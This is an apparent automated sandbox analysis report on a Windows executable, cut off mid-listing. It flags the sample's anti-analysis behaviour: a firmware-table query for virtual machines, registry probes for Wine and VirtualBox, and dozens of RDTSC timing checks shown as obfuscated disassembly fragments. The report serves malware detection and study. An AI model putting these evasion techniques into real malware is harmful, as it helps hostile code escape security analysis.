Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B00D0 second address: 6B00D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B00D5 second address: 6B00E8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a push esi 0x0000000b jnp 00007F3BB8CF9506h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B00E8 second address: 6B00F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jc 00007F3BB941C8DCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0377 second address: 6B037C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B037C second address: 6B0382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0668 second address: 6B0678 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jo 00007F3BB8CF9506h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0678 second address: 6B0680 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B0680 second address: 6B068C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jg 00007F3BB8CF9506h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3076 second address: 6B307A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B307A second address: 6B30CC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b jmp 00007F3BB8CF950Fh 0x00000010 pop eax 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007F3BB8CF9508h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000017h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b mov esi, dword ptr [ebp+122D2A32h] 0x00000031 lea ebx, dword ptr [ebp+1245AE49h] 0x00000037 mov edx, dword ptr [ebp+122D180Fh] 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 pushad 0x00000042 popad 0x00000043 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B30CC second address: 6B30D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3144 second address: 6B3150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3150 second address: 6B317F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c jmp 00007F3BB941C8E7h 0x00000011 mov eax, dword ptr [eax] 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007F3BB941C8D8h 0x0000001b push edx 0x0000001c pop edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B317F second address: 6B31E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF950Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d jg 00007F3BB8CF950Eh 0x00000013 pop eax 0x00000014 mov cl, bh 0x00000016 push 00000003h 0x00000018 jmp 00007F3BB8CF9513h 0x0000001d push 00000000h 0x0000001f push edx 0x00000020 movzx edx, cx 0x00000023 pop edi 0x00000024 push 00000003h 0x00000026 jmp 00007F3BB8CF9515h 0x0000002b push FCBAFCDFh 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 pushad 0x00000034 popad 0x00000035 pop eax 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B31E1 second address: 6B31EB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3BB941C8DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B31EB second address: 6B320A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 3CBAFCDFh 0x0000000d xor dword ptr [ebp+122D2DA8h], edi 0x00000013 lea ebx, dword ptr [ebp+1245AE52h] 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B320A second address: 6B3211 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3344 second address: 6B334E instructions: 0x00000000 rdtsc 0x00000002 jns 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B334E second address: 6B3358 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007F3BB941C8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3358 second address: 6B335C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B343A second address: 6B3440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3440 second address: 6B3444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6B3444 second address: 6B3448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6C5F76 second address: 6C5F7C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FA4D second address: 69FA53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FA53 second address: 69FA57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FA57 second address: 69FA5B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FA5B second address: 69FA61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FA61 second address: 69FA6D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 jnc 00007F3BB941C8D6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69FA6D second address: 69FAA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007F3BB8CF950Dh 0x00000012 jmp 00007F3BB8CF9511h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a je 00007F3BB8CF9522h 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3E0B second address: 6D3E1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F3BB941C8D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D3E1B second address: 6D3E28 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 push edx 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D43DB second address: 6D43DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D72 second address: 6D4D7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D7A second address: 6D4D7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D7F second address: 6D4D93 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007F3BB8CF9506h 0x00000009 jl 00007F3BB8CF9506h 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D93 second address: 6D4D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4D97 second address: 6D4D9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4EF5 second address: 6D4F11 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8E8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D4F11 second address: 6D4F23 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB8CF950Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A954 second address: 69A95A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 69A95A second address: 69A960 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5080 second address: 6D5086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D5086 second address: 6D508C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D55A0 second address: 6D55A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D55A6 second address: 6D55D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3BB8CF9513h 0x0000000e jmp 00007F3BB8CF950Fh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D55D1 second address: 6D55EE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E9h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D55EE second address: 6D55F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D55F4 second address: 6D55FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D58EB second address: 6D58EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D815B second address: 6D815F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D815F second address: 6D8163 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D831D second address: 6D8321 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8321 second address: 6D833C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3BB8CF9513h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D833C second address: 6D835C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D835C second address: 6D8360 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D842E second address: 6D844B instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3BB941C8DCh 0x00000008 jbe 00007F3BB941C8D6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 jns 00007F3BB941C8D8h 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D844B second address: 6D8451 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8451 second address: 6D8472 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3BB941C8E5h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D8472 second address: 6D8494 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a jnc 00007F3BB8CF950Eh 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 pushad 0x00000016 push eax 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6D85FD second address: 6D8607 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3BB941C8D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E0FF0 second address: 6E0FF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E1145 second address: 6E1149 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A4BFE second address: 6A4C03 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A15F8 second address: 6A160E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3BB941C8E2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A160E second address: 6A1616 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1616 second address: 6A161A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A161A second address: 6A161E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A161E second address: 6A1624 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6A1624 second address: 6A162F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5031 second address: 6E5047 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F3BB941C8DAh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5047 second address: 6E508C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c jne 00007F3BB8CF950Ch 0x00000012 jne 00007F3BB8CF9508h 0x00000018 popad 0x00000019 mov eax, dword ptr [eax] 0x0000001b js 00007F3BB8CF9512h 0x00000021 js 00007F3BB8CF950Ch 0x00000027 jc 00007F3BB8CF9506h 0x0000002d mov dword ptr [esp+04h], eax 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 jnl 00007F3BB8CF9506h 0x0000003a push ebx 0x0000003b pop ebx 0x0000003c popad 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5383 second address: 6E539A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E539A second address: 6E53AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jc 00007F3BB8CF9514h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5C7E second address: 6E5CB2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp], ebx 0x0000000d jmp 00007F3BB941C8DBh 0x00000012 mov edi, dword ptr [ebp+122D2B82h] 0x00000018 nop 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c push eax 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5E81 second address: 6E5E87 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5E87 second address: 6E5E8D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5E8D second address: 6E5E91 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E5FE0 second address: 6E5FF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3BB941C8DAh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E61E5 second address: 6E620E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 je 00007F3BB8CF9506h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 jl 00007F3BB8CF9506h 0x00000016 jmp 00007F3BB8CF9512h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E620E second address: 6E6218 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3BB941C8DCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6339 second address: 6E6382 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB8CF9513h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jp 00007F3BB8CF9511h 0x00000010 nop 0x00000011 jbe 00007F3BB8CF950Ch 0x00000017 or dword ptr [ebp+122D3717h], edi 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 jmp 00007F3BB8CF950Dh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E6382 second address: 6E6387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E68A9 second address: 6E68B9 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3BB8CF9506h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7145 second address: 6E7149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E7149 second address: 6E714F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E714F second address: 6E7166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3BB941C8E3h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E813C second address: 6E8142 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E8142 second address: 6E815D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3BB941C8E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E815D second address: 6E81E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F3BB8CF9519h 0x0000000c jmp 00007F3BB8CF9513h 0x00000011 popad 0x00000012 nop 0x00000013 push 00000000h 0x00000015 push edi 0x00000016 call 00007F3BB8CF9508h 0x0000001b pop edi 0x0000001c mov dword ptr [esp+04h], edi 0x00000020 add dword ptr [esp+04h], 0000001Bh 0x00000028 inc edi 0x00000029 push edi 0x0000002a ret 0x0000002b pop edi 0x0000002c ret 0x0000002d mov dword ptr [ebp+122D1D73h], edx 0x00000033 push edi 0x00000034 sub dword ptr [ebp+122D1FFEh], esi 0x0000003a pop esi 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push 00000000h 0x00000041 push esi 0x00000042 call 00007F3BB8CF9508h 0x00000047 pop esi 0x00000048 